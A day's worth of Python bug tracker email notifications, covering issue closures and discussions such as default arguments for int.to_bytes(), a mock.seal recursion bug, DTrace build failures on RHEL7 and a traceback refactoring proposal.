From report at bugs.python.org  Thu Sep  9 16:52:12 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 20:52:12 +0000
Subject: [issue11255] 2to3 throws AttributeError during distutils installation
 with -O
In-Reply-To: <1298197687.53.0.332108526066.issue11255@psf.upfronthosting.co.za>
Message-ID: <1631220732.19.0.306663620662.issue11255@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 3.2 is out of date, and distutils and 2to3 are both deprecated.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:03:07 2021
From: report at bugs.python.org (Steve Dower)
Date: Thu, 09 Sep 2021 21:03:07 +0000
Subject: [issue45022] Update libffi to 3.4.2
In-Reply-To: <1630012397.4.0.321187135755.issue45022@roundup.psfhosted.org>
Message-ID: <1631221387.98.0.591780110309.issue45022@roundup.psfhosted.org>


Steve Dower  added the comment:

Going to just decide that we won't backport the update. If a big enough security issue is found we can consider it, but it would have to justify the potential-but-unlikely breaking change for users who are relying on the name of the DLL.

----------
resolution:  -> fixed
stage: backport needed -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:09:38 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 21:09:38 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631221778.48.0.110883878281.issue9811@roundup.psfhosted.org>


Change by Irit Katriel :


----------
keywords: +patch
nosy: +iritkatriel
nosy_count: 8.0 -> 9.0
pull_requests: +26684
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28264

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:10:23 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 21:10:23 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631221823.29.0.408887037383.issue9811@roundup.psfhosted.org>


Irit Katriel  added the comment:

This issue was created 11 years ago today. Let's celebrate its anniversary by resolving it!

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:14:12 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 21:14:12 +0000
Subject: [issue23249] test_win32 fails on aarch64
In-Reply-To: <1421401283.38.0.406623425658.issue23249@psf.upfronthosting.co.za>
Message-ID: <1631222052.37.0.438170436728.issue23249@roundup.psfhosted.org>


STINNER Victor  added the comment:

> Original bug report at https://bugzilla.redhat.com/show_bug.cgi?id=1174037

The bug was reported on Fedora (Linux).

We do now have a multiple AArch64 buildbots running Fedora and the whole test suite now pass there.

Example with "aarch64 Fedora Stable 3.x":
https://buildbot.python.org/all/#/builders/125/builds/612

"0:00:03 load avg: 4.20 [ 62/427] test_ctypes passed"

So yes, this issue can now be fixed ;-)

FYI Python is built with --with-system-ffi on Fedora, but buildbots don't use this flag. I'm working on using --with-system-ffi on buildbots, see:
https://github.com/python/buildmaster-config/pull/264

----------
status: pending -> open

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:14:19 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 21:14:19 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631222059.72.0.35912577607.issue9811@roundup.psfhosted.org>


Change by Irit Katriel :


----------
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.1, Python 3.2

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:16:14 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 21:16:14 +0000
Subject: [issue23249] test_win32 fails on aarch64
In-Reply-To: <1421401283.38.0.406623425658.issue23249@psf.upfronthosting.co.za>
Message-ID: <1631222174.81.0.369901722917.issue23249@roundup.psfhosted.org>


Change by Irit Katriel :


----------
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:20:35 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 21:20:35 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide: Linux kernel 5.15 regression
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1631222435.66.0.978273335626.issue45119@roundup.psfhosted.org>


STINNER Victor  added the comment:

Python 3.10 is also affected. Example with aarch64 Fedora Rawhide 3.10:
https://buildbot.python.org/all/#builders/636/builds/286

----------
title: test_signal.test_itimer_virtual() failed on AMD64 Fedora Rawhide 3.x: Linux kernel 5.15 regression -> test_signal.test_itimer_virtual() failed on AMD64 Fedora Rawhide: Linux kernel 5.15 regression
versions: +Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:29:07 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Thu, 09 Sep 2021 21:29:07 +0000
Subject: [issue39447] imaplib documentation claims that commands return a
 string, but they return bytes
In-Reply-To: <1579897476.32.0.1859965096.issue39447@roundup.psfhosted.org>
Message-ID: <1631222947.44.0.669539887029.issue39447@roundup.psfhosted.org>


Andrei Kulakov  added the comment:

This issue was fixed in https://github.com/python/cpython/commit/c75330605d4 -- closing.

----------
nosy: +andrei.avk, kj
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.9 -Python 3.7, Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 17:59:07 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 21:59:07 +0000
Subject: [issue10501] make_buildinfo regression with unquoted path
In-Reply-To: <1290420103.87.0.191839202946.issue10501@psf.upfronthosting.co.za>
Message-ID: <1631224747.9.0.600012462654.issue10501@roundup.psfhosted.org>


Irit Katriel  added the comment:

There is no longer a make_buildinfo.c

----------
nosy: +iritkatriel
resolution: accepted -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 18:00:31 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 09 Sep 2021 22:00:31 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
Message-ID: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>


New submission from Barry A. Warsaw :

In the PEP 467 discussion, I proposed being able to use

>>> (65).to_bytes()
b'A'

IOW, adding default arguments for the `length` and `byteorder` arguments to `int.to_bytes()`

https://mail.python.org/archives/list/python-dev at python.org/message/PUR7UCOITMMH6TZVVJA5LKRCBYS4RBMR/

It occurs to me that this is (1) useful on its own merits; (2) easy to do.  So I've done it.  Creating this bug so I can link a PR against it.

----------
components: Interpreter Core
messages: 401524
nosy: barry
priority: normal
severity: normal
stage: patch review
status: open
title: Add default arguments for int.to_bytes()
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 18:09:24 2021
From: report at bugs.python.org (David Mandelberg)
Date: Thu, 09 Sep 2021 22:09:24 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
Message-ID: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>


New submission from David Mandelberg :

The code below seems to have infinite recursion in the mock.seal call with python 3.9.2.

from unittest import mock
class Foo:
  foo = 0
foo = mock.create_autospec(Foo)
mock.seal(foo)

----------
components: Library (Lib)
messages: 401525
nosy: dseomn
priority: normal
severity: normal
status: open
title: mock.seal has infinite recursion with int class attributes
type: crash
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 18:28:13 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 09 Sep 2021 22:28:13 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631226493.91.0.546349455868.issue45155@roundup.psfhosted.org>


Change by Barry A. Warsaw :


----------
keywords: +patch
pull_requests: +26685
pull_request: https://github.com/python/cpython/pull/28265

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 18:37:07 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 22:37:07 +0000
Subject: =?utf-8?q?=5Bissue45157=5D_DTrace_on_RHEL7=2C_generated_Include/pydtrace?=
 =?utf-8?q?=5Fprobes=2Eh_fails_to_build=3A_error=3A_impossible_constraint_?=
 =?utf-8?b?aW4g4oCYYXNt4oCZ?=
Message-ID: <1631227027.9.0.449949319255.issue45157@roundup.psfhosted.org>


New submission from STINNER Victor :

I modified RHEL7 configuration to build Python using --with-dtrace:

 argv: [b'./configure', b'--prefix', b'$(PWD)/target', b'--with-pydebug', b'--with-platlibdir=lib64', b'--enable-ipv6', b'--enable-shared', b'--with-computed-gotos=yes', b'--with-dbmliborder=gdbm:ndbm:bdb', b'--enable-loadable-sqlite-extensions', b'--with-dtrace', b'--with-lto', b'--with-ssl-default-suites=openssl', b'--without-static-libpython', b'--with-valgrind']

Problem: the generated Include/pydtrace_probes.h failed to build :-(

---
/usr/bin/dtrace  -o Include/pydtrace_probes.h -h -s Include/pydtrace.d
sed 's/PYTHON_/PyDTrace_/' Include/pydtrace_probes.h > Include/pydtrace_probes.h.tmp
mv Include/pydtrace_probes.h.tmp Include/pydtrace_probes.h
(...)
In file included from ./Include/pydtrace_probes.h:10:0,
                 from ./Include/pydtrace.h:11,
                 from Modules/gcmodule.c:33:
Modules/gcmodule.c: In function ?gc_collect_main?:
./Include/pydtrace_probes.h:98:1: error: impossible constraint in ?asm?
 DTRACE_PROBE1 (python, gc__start, arg1)
 ^
./Include/pydtrace_probes.h:109:1: error: impossible constraint in ?asm?
 DTRACE_PROBE1 (python, gc__done, arg1)
 ^
---

Full logs of AMD64 RHEL7 3.x:
https://buildbot.python.org/all/#/builders/15/builds/761

In the meantime, I disabled --with-dtrace since other buildbot workers failed when dtrace was no installed. See:
https://github.com/python/buildmaster-config/pull/264

Maybe it's a problem on RHEL7. Maybe the problem is that Python is built with LTO?

----------
components: Build
messages: 401526
nosy: cstratak, hroncok, vstinner
priority: normal
severity: normal
status: open
title: DTrace on RHEL7, generated Include/pydtrace_probes.h fails to build: error: impossible constraint in ?asm?
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 18:37:56 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 22:37:56 +0000
Subject: =?utf-8?q?=5Bissue45157=5D_DTrace_on_RHEL7=2C_generated_Include/pydtrace?=
 =?utf-8?q?=5Fprobes=2Eh_fails_to_build=3A_error=3A_impossible_constraint_?=
 =?utf-8?b?aW4g4oCYYXNt4oCZ?=
In-Reply-To: <1631227027.9.0.449949319255.issue45157@roundup.psfhosted.org>
Message-ID: <1631227076.24.0.0724216364755.issue45157@roundup.psfhosted.org>


STINNER Victor  added the comment:

Similar error with Python 3.10, AMD64 RHEL7 3.10 logs:
https://buildbot.python.org/all/#/builders/666/builds/344

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 18:41:24 2021
From: report at bugs.python.org (Anton Abrosimov)
Date: Thu, 09 Sep 2021 22:41:24 +0000
Subject: [issue45158] Refactor traceback.py to make TracebackException more
 extensible.
Message-ID: <1631227284.21.0.317045625732.issue45158@roundup.psfhosted.org>


New submission from Anton Abrosimov :

1. Move internal dependencies (`FrameSummary`, `StackSummary`) to class attributes. Reduce coupling.
2. Separate receiving, processing and presenting traceback information.
How to replace `repr` with `pformat` in `FrameSummary`?
def __init__(...):
    ...
    self.locals = {k: repr(v) for k, v in locals.items()} if locals else None
    ...
3. Move formatting templates to class attributes.
4. ...

Motivation:
1. For the sake of small changes to the view, you have to rewrite the entire `TracebackException` hierarchy. Or use string parsing.
2.1. During development, I want to see as much information as possible.
2.2. During production, displaying unnecessary information can lead to security problems.
2.3. In large projects, it is more convenient to use JSON for further processing in the system environment.

I have not found any PEPs describing `traceback.py`.
I can make a prototype of the changes if anyone is interested.

----------
components: Library (Lib)
messages: 401528
nosy: abrosimov.a.a
priority: normal
severity: normal
status: open
title: Refactor traceback.py to make TracebackException more extensible.
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:05:39 2021
From: report at bugs.python.org (Anton Abrosimov)
Date: Thu, 09 Sep 2021 23:05:39 +0000
Subject: [issue45158] Refactor traceback.py to make TracebackException more
 extensible.
In-Reply-To: <1631227284.21.0.317045625732.issue45158@roundup.psfhosted.org>
Message-ID: <1631228739.76.0.585776900555.issue45158@roundup.psfhosted.org>


Anton Abrosimov  added the comment:

I think now is a good time for such a change. `FrameSummary`,` StackSummary` and `TracebackException` can be left backward compatible. And PEP 657 already breaks backward compatibility of output parsers.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:07:43 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 23:07:43 +0000
Subject: [issue35301] python.exe crashes - lzma?
In-Reply-To: <1542982873.09.0.788709270274.issue35301@psf.upfronthosting.co.za>
Message-ID: <1631228863.33.0.376130195923.issue35301@roundup.psfhosted.org>


Irit Katriel  added the comment:

This sounds like it may very well be memory corruption by BOINC.  In any case, Python 3.6.3 is no longer maintained.

----------
nosy: +iritkatriel
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:11:14 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 23:11:14 +0000
Subject: [issue33085] *** Error in `python': double free or corruption (out):
 0x00007ff5254d50d0 ***
In-Reply-To: <1521183590.06.0.467229070634.issue33085@psf.upfronthosting.co.za>
Message-ID: <1631229074.88.0.0353011025334.issue33085@roundup.psfhosted.org>


Irit Katriel  added the comment:

There isn't enough information here for us to do anything about this, and in any case Python 3.6 is no longer maintained. Please create a new issue if you are having this problem with a current version (>= 3.9) and can provide more information about how to reproduce it.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:19:21 2021
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 09 Sep 2021 23:19:21 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631229561.07.0.380106501239.issue45155@roundup.psfhosted.org>


Change by Ethan Furman :


----------
nosy: +ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:19:45 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 23:19:45 +0000
Subject: [issue30991] test_ctypes ,
 test_dbm and test_ssl  fail on arm64 (aarch64) architecture
In-Reply-To: <1500733945.72.0.618200195446.issue30991@psf.upfronthosting.co.za>
Message-ID: <1631229585.48.0.834591166753.issue30991@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 3.6 is no longer maintained. Please create a new issue if you are having problems with this on a current version (>= 3.9).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:20:43 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 23:20:43 +0000
Subject: [issue30991] test_ctypes ,
 test_dbm and test_ssl  fail on arm64 (aarch64) architecture
In-Reply-To: <1500733945.72.0.618200195446.issue30991@psf.upfronthosting.co.za>
Message-ID: <1631229643.54.0.152025898432.issue30991@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type since test failures are not crash.

----------
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:25:16 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 23:25:16 +0000
Subject: [issue31100] unable to open python on Windows
In-Reply-To: <1501636029.03.0.741480027722.issue31100@psf.upfronthosting.co.za>
Message-ID: <1631229916.02.0.431367308012.issue31100@roundup.psfhosted.org>


Irit Katriel  added the comment:

Is there anything more we can do on this or can we close it?

----------
nosy: +iritkatriel
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:29:04 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 23:29:04 +0000
Subject: [issue14150] AIX,
 crash loading shared module into another process than python like
 operator.so results in 0509-130
In-Reply-To: <1330434369.23.0.116359457055.issue14150@psf.upfronthosting.co.za>
Message-ID: <1631230144.72.0.628436223069.issue14150@roundup.psfhosted.org>


Irit Katriel  added the comment:

Python 2.7 is no longer maintained and the current configure files no longer have the lines that the patch modifies.

Please create a new issue if you are seeing this problem on a current version (>= 3.9).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:33:28 2021
From: report at bugs.python.org (Steve Dower)
Date: Thu, 09 Sep 2021 23:33:28 +0000
Subject: [issue45151] Logger library with task scheduler
In-Reply-To: <1631195248.81.0.804167801454.issue45151@roundup.psfhosted.org>
Message-ID: <1631230408.6.0.688921679387.issue45151@roundup.psfhosted.org>


Steve Dower  added the comment:

Also, can you include your full task definition? There are a lot of options there which could cause it to launch in a different working directory (which will mess with your relative paths) or as a different user (which could mess with whether you can import your libraries).

I think it's possible to export the task definition as XML. Copy/pasting that here will be fine (not as an attachment, please, we just need to read it).

It's also difficult to collect standard output, so you may want to try adding something like "sys.stdout = sys.stderr = open(r'C:\Users\Public\Public Documents\log.txt', 'w')" to try and collect any output that you may be missing. The full path to the file is important, and it will need to be somewhere that most accounts can write.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 19:37:29 2021
From: report at bugs.python.org (Steve Dower)
Date: Thu, 09 Sep 2021 23:37:29 +0000
Subject: [issue31100] unable to open python on Windows
In-Reply-To: <1501636029.03.0.741480027722.issue31100@psf.upfronthosting.co.za>
Message-ID: <1631230649.62.0.181473258571.issue31100@roundup.psfhosted.org>


Steve Dower  added the comment:

At this point, this isn't a helpful bug report anymore.

----------
resolution:  -> out of date
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 20:29:47 2021
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 10 Sep 2021 00:29:47 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631233787.84.0.115851240602.issue45155@roundup.psfhosted.org>


Nick Coghlan  added the comment:

Rather than defaulting to sys.byteorder, could the byte order default to None and only be optional when not needed? (input value fits in a single byte, output is a single byte)

Otherwise the difference in defaults between this method and the struct module (network byte order rather than host byte order) could be very confusing.

----------
nosy: +ncoghlan

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 20:34:35 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 10 Sep 2021 00:34:35 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631234075.05.0.156723266131.issue45152@roundup.psfhosted.org>


Guido van Rossum  added the comment:

Raymond, I am super grateful that you are showing us the assembly language. That's the kind of thing we need to do more of if we want to be successful. (In this case I'm not surprised by the outcome, but I have never studied x86 assembly and this was a nice explanation.)

Regarding speeding up marshal, I am not at all convinced that this is still I/O bound. Raymond, do you have data about this? In my own informal experiments I believe the main cost I found was (a) stat() operations, and (b) the allocation and initialization of a large number of objects. In my (limited) understanding, "freezing" modules (like in bpo-45020) is mostly a win because it avoids stat() operations (and listdir(), too). But it would be nice to do a detailed experiment to get real facts here.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 20:35:40 2021
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 10 Sep 2021 00:35:40 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631234140.47.0.054662020846.issue45155@roundup.psfhosted.org>


Nick Coghlan  added the comment:

Never mind, I've forced network byte order in struct strings for so long I had forgotten that native byte order was also the default there. Hence I withdraw that objection.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 20:57:42 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 00:57:42 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631235462.8.0.779462239516.issue45155@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

So (128).to_bytes() will raise an error, right?

I afraid also that it will lead to some programs working correctly only on platforms with the most common byte order, just because authors are not aware of byte ordering. Currently the interface forces programmers to read something about byte ordering.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 21:01:53 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 10 Sep 2021 01:01:53 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631235713.74.0.829670006549.issue45155@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Ah, signed=False by default, so (128).to_bytes() will work. But I still worry that it can provoke writing more errorprone code.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 21:06:07 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Fri, 10 Sep 2021 01:06:07 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631235713.74.0.829670006549.issue45155@roundup.psfhosted.org>
Message-ID: <3A38BBED-556D-42A1-A4EA-72A88D367976@python.org>


Barry A. Warsaw  added the comment:

> Ah, signed=False by default, so (128).to_bytes() will work. But I still worry that it can provoke writing more errorprone code.

Can you elaborate on that?  Obviously no existing code will change behavior.  I really don?t expect people to write `(128).to_bytes(signed=True)` by accident.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 21:12:01 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 01:12:01 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631236321.94.0.928303992545.issue45155@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Perhaps instead of the system byte ordering, choose one for the default so that default encoding/decoding will work cross platform.  I think "little" is the most common (intel and arm).

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 21:15:17 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Fri, 10 Sep 2021 01:15:17 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631236321.94.0.928303992545.issue45155@roundup.psfhosted.org>
Message-ID: <7FA8BDBE-B6B7-48ED-AC8C-3D429B03CF8C@python.org>


Barry A. Warsaw  added the comment:

For the common case where you?re using all defaults, it won?t matter.  byteorder doesn?t matter when length=1.

> On Sep 9, 2021, at 18:12, Raymond Hettinger  wrote:
> 
> 
> Raymond Hettinger  added the comment:
> 
> Perhaps instead of the system byte ordering, choose one for the default so that default encoding/decoding will work cross platform.  I think "little" is the most common (intel and arm).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 22:42:22 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Fri, 10 Sep 2021 02:42:22 +0000
Subject: [issue45154] Enumerate() function or class?
In-Reply-To: <1631198198.04.0.262463411165.issue45154@roundup.psfhosted.org>
Message-ID: <1631241742.82.0.669353640852.issue45154@roundup.psfhosted.org>


Steven D'Aprano  added the comment:

Thank you Raymond for the explanation. I didn't realise that there was a technical reason why built-in generators had to be implemented as classes in CPython.

Sanmitha's question was already discussed answered here:

https://discuss.python.org/t/enumerate-function-or-class/10504/1

----------
nosy: +steven.daprano

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 22:51:15 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 02:51:15 +0000
Subject: [issue45024] Cannot extend collections ABCs with protocol
In-Reply-To: <1630027789.49.0.847415585989.issue45024@roundup.psfhosted.org>
Message-ID: <1631242275.31.0.538490363275.issue45024@roundup.psfhosted.org>


Raymond Hettinger  added the comment:


New changeset 62fa613f6a6e872723505ee9d56242c31a654a9d by Raymond Hettinger in branch 'main':
bpo-45024 and bpo-23864: Document how interface testing works with the collections ABCs (GH-28218)
https://github.com/python/cpython/commit/62fa613f6a6e872723505ee9d56242c31a654a9d


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 22:51:15 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 02:51:15 +0000
Subject: [issue23864] doc: issubclass without registration only works for
 "one-trick pony" collections ABCs.
In-Reply-To: <1428145067.47.0.0726533343331.issue23864@psf.upfronthosting.co.za>
Message-ID: <1631242275.45.0.656285547664.issue23864@roundup.psfhosted.org>


Raymond Hettinger  added the comment:


New changeset 62fa613f6a6e872723505ee9d56242c31a654a9d by Raymond Hettinger in branch 'main':
bpo-45024 and bpo-23864: Document how interface testing works with the collections ABCs (GH-28218)
https://github.com/python/cpython/commit/62fa613f6a6e872723505ee9d56242c31a654a9d


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 22:52:01 2021
From: report at bugs.python.org (miss-islington)
Date: Fri, 10 Sep 2021 02:52:01 +0000
Subject: [issue45024] Cannot extend collections ABCs with protocol
In-Reply-To: <1630027789.49.0.847415585989.issue45024@roundup.psfhosted.org>
Message-ID: <1631242321.23.0.648129253293.issue45024@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 6.0 -> 7.0
pull_requests: +26686
pull_request: https://github.com/python/cpython/pull/28266

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 22:52:01 2021
From: report at bugs.python.org (miss-islington)
Date: Fri, 10 Sep 2021 02:52:01 +0000
Subject: [issue23864] doc: issubclass without registration only works for
 "one-trick pony" collections ABCs.
In-Reply-To: <1428145067.47.0.0726533343331.issue23864@psf.upfronthosting.co.za>
Message-ID: <1631242321.39.0.647666894987.issue23864@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 12.0 -> 13.0
pull_requests: +26687
pull_request: https://github.com/python/cpython/pull/28266

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 23:24:42 2021
From: report at bugs.python.org (Dave Tapley)
Date: Fri, 10 Sep 2021 03:24:42 +0000
Subject: [issue39442] from __future__ import annotations makes
 dataclasses.Field.type a string, not type
In-Reply-To: <1579866520.75.0.652812484582.issue39442@roundup.psfhosted.org>
Message-ID: <1631244282.48.0.830710634967.issue39442@roundup.psfhosted.org>


Dave Tapley  added the comment:

I don't know if it helps, but I just ran in to this when I followed the advice at (1) because I wanted to type hint a method with the type of the enclosing class.

This broke a package I'm working on in parallel (2) because it uses dataclasses.fields internally.

I'm not sure what the advice would be here, should my package detect if the caller has `from __future__ import annotations` and do something?



(1) https://stackoverflow.com/questions/33533148/how-do-i-type-hint-a-method-with-the-type-of-the-enclosing-class/33533514#33533514
(2) https://pypi.org/project/dataclasses-configobj/

----------
nosy: +davetapley

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 23:58:55 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 03:58:55 +0000
Subject: [issue45024] Cannot extend collections ABCs with protocol
In-Reply-To: <1630027789.49.0.847415585989.issue45024@roundup.psfhosted.org>
Message-ID: <1631246335.89.0.0978619213711.issue45024@roundup.psfhosted.org>


Raymond Hettinger  added the comment:


New changeset 89edd18779e382c5fa7f57722b0b897a907ed2c4 by Miss Islington (bot) in branch '3.10':
bpo-45024 and bpo-23864: Document how interface testing works with the collections ABCs (GH-28218) (GH-28266)
https://github.com/python/cpython/commit/89edd18779e382c5fa7f57722b0b897a907ed2c4


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 23:58:56 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 10 Sep 2021 03:58:56 +0000
Subject: [issue23864] doc: issubclass without registration only works for
 "one-trick pony" collections ABCs.
In-Reply-To: <1428145067.47.0.0726533343331.issue23864@psf.upfronthosting.co.za>
Message-ID: <1631246336.11.0.0826593431759.issue23864@roundup.psfhosted.org>


Raymond Hettinger  added the comment:


New changeset 89edd18779e382c5fa7f57722b0b897a907ed2c4 by Miss Islington (bot) in branch '3.10':
bpo-45024 and bpo-23864: Document how interface testing works with the collections ABCs (GH-28218) (GH-28266)
